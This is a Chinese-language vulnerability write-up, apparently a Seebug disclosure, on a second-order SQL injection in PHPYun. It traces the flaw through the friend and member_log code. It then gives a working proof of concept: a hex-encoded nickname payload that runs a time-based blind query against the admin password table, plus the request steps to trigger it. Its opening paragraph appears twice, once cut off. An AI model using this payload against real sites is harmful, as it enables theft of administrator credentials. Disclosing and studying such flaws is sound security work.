### 简要描述: phpyun注入漏洞#2 ### 详细说明: 文件名: \app\controller\friend\index.class.php中 有这样一句 ``` $nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid)); ``` 传入了整个post,我们跟进SaveFriendInfo看看. 文件名: \app\model\friend.model.php ``` function SaveFriendInfo($Values=array(),$Where=array()){ if(empty($Where)){ $ValuesStr=$this->FormatValues($Values); return $this->DB_insert_once('friend_info',$ValuesStr); }else{ //很显然,Where是不为空的。 $WhereStr=$this->FormatWhere($Where); $ValuesStr=$this->FormatValues($Values);//重点是看这个函数 return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr); //直接送入语句查询。 } } ``` 文件名: \app\public\action.class.php FormatValues函数如下 ``` function FormatValues($Values){ $ValuesStr=''; foreach($Values as $k=>$v){ if(is_numeric($k)){ $ValuesStr.=','.$v; }else{ if(is_numeric($v)){ //看见没 如果 v为数字的话就 不加单引号 反之引上单引号。因为使用了 is_numeric函数的原因,0x111 这种格式的也可以通过限制 而mysql中也是可以直接解析0x的格式的, 所以我们直接寻找有没有二次注入的地方即可。 $ValuesStr.=',`'.$k.'`='.$v; }else{ $ValuesStr.=',`'.$k.'`=\''.$v.'\''; } } } return...
### 简要描述: phpyun注入漏洞#2 ### 详细说明: 文件名: \app\controller\friend\index.class.php中 有这样一句 ``` $nid=$M->SaveFriendInfo($_POST,array("uid"=>$this->uid)); ``` 传入了整个post,我们跟进SaveFriendInfo看看. 文件名: \app\model\friend.model.php ``` function SaveFriendInfo($Values=array(),$Where=array()){ if(empty($Where)){ $ValuesStr=$this->FormatValues($Values); return $this->DB_insert_once('friend_info',$ValuesStr); }else{ //很显然,Where是不为空的。 $WhereStr=$this->FormatWhere($Where); $ValuesStr=$this->FormatValues($Values);//重点是看这个函数 return $this->DB_update_all('friend_info',$ValuesStr,$WhereStr); //直接送入语句查询。 } } ``` 文件名: \app\public\action.class.php FormatValues函数如下 ``` function FormatValues($Values){ $ValuesStr=''; foreach($Values as $k=>$v){ if(is_numeric($k)){ $ValuesStr.=','.$v; }else{ if(is_numeric($v)){ //看见没 如果 v为数字的话就 不加单引号 反之引上单引号。因为使用了 is_numeric函数的原因,0x111 这种格式的也可以通过限制 而mysql中也是可以直接解析0x的格式的, 所以我们直接寻找有没有二次注入的地方即可。 $ValuesStr.=',`'.$k.'`='.$v; }else{ $ValuesStr.=',`'.$k.'`=\''.$v.'\''; } } } return substr($ValuesStr,1); } ``` 寻找二次注入中...寻找到了。美中不足的地方就是只能延迟注入。 文件:\app\controller\ask\friend.class.php 这个功能是关注功能.. ID是对方的uid .可以自己注册 2个账号来操作。 ``` function atnuser_action(){ $id=(int)$_POST['id']; if($id>0){ if($this->uid){ if($_POST['id']==$this->uid){ echo 4;die; } $M=$this->MODEL('ask'); $FriendM=$this->MODEL('friend'); $atninfo = $M->GetAtnOne(array('uid'=>$this->uid,'sc_uid'=>$id)); $UserInfoM=$this->MODEL('userinfo'); $user=$UserInfoM->GetMemberOne(array('uid'=>$id),array('field'=>'`usertype`')); $comurl = url("ask",array("c"=>"friend","uid"=>$id)); $row=$FriendM->GetFriendInfo(array('uid'=>$id));//看这里.查出friend_info表里的数据 $name = $row['nickname'];//看这里把nickname查出来了赋值给$name if(is_array($atninfo)&&!empty($atninfo)){ //这句话的意思是你是否是对方的粉丝,如果是那么就取消关注,反之关注. $M->DeleteAtn(array('uid'=>$this->uid,'sc_uid'=>$id)); $FriendM->SaveFriendInfo(array('`fans`=`fans`-1'),array('uid'=>$id)); $FriendM->SaveFriendInfo(array('`atnnum`=`atnnum`-1'),array('uid'=>$this->uid)); $this->addstate("取消了对<a href=\"".$comurl."\">".$name."</a>的关注!",2); $this->automsg("用户 ".$this->username." 取消了对你的关注!",$id); $M->member_log("取消了对".$name."的关注!");//看这里带入了$name echo "2";die; }else{ $M->insert_into("atn",array('uid'=>$this->uid,'sc_uid'=>$id,'usertype'=>(int)$_COOKIE['usertype'],'sc_usertype'=>$user['usertype'],'time'=>time())); $FriendM->SaveFriendInfo(array('`fans`=`fans`+1'),array('uid'=>$id)); $FriendM->SaveFriendInfo(array('`atnnum`=`atnnum`+1'),array('uid'=>$this->uid)); $this->addstate("关注了<a href=\"".$comurl."\">".$name."</a>",2); $this->automsg("用户 ".$this->username." 关注了你!",$id); $M->member_log("关注了".$name);//看这里带入了$name echo "1";die; } }else{ echo "3";die; } } } ``` 我们在来分析member_log函数. 文件 :app\public\action.class.php ``` function member_log($content,$opera='',$type=''){ if($_COOKIE['uid']){ $value="`uid`='".(int)$_COOKIE['uid']."',"; $value.="`usertype`='".(int)$_COOKIE['usertype']."',"; $value.="`content`='".$content."',"; $value.="`opera`='".$opera."',"; $value.="`type`='".$type."',"; $value.="`ip`='".fun_ip_get()."',"; $value.="`ctime`='".time()."'"; $this->DB_insert_once("member_log",$value); } } ``` 看到这里我笑了..一般带DB_开头查询函数并没有进行转义操作. 可以造成注入. 不管是取关还是加关都会造成二次注入. ### 漏洞证明: 接下来就是poc演示了. 先注册2个账号,A和B. 注:uid可以cookie中查询得到。 先登录账号A: http://127.0.0.1:8081/php/phpyun/friend/c_saveinfo.html post提交 submitBtn=1&nickname=0x272c69703d28534c454550284d4944282853454c4543542050415353574f52442046524f4d2070687079756e5f61646d696e5f75736572204c494d49542031292c312c31293d273427292923 nickname的数据是',ip=(SLEEP(MID((SELECT PASSWORD FROM phpyun_admin_user LIMIT 1),1,1)='4'))# 我们需要hex下,才不会被加上单引号; 可以看到数据里已经更改掉数据了。 [<img src="https://images.seebug.org/upload/201506/26110205aa397c4dca56bd9a483631f69f1409be.png" alt="QQ截图20150626011057.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/26110205aa397c4dca56bd9a483631f69f1409be.png) 现在我们来登录第二个账号B http://127.0.0.1:8081/php/phpyun/ask/c_friend-a_atnuser.html Post提交 id=1 Id是你要关注的账号id也就是A的uid。(uid可以cookie中查询得到。) 为了直观显示为就把sql语句输出了。 [<img src="https://images.seebug.org/upload/201506/261102395b668a08143a6a548e9da663ec585a85.png" alt="QQ截图20150626013318.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/261102395b668a08143a6a548e9da663ec585a85.png) 看见没..成功执行了语句.密码第一位是4就延迟一秒。 利用脚本我就不给出了,几个post请求判断的事。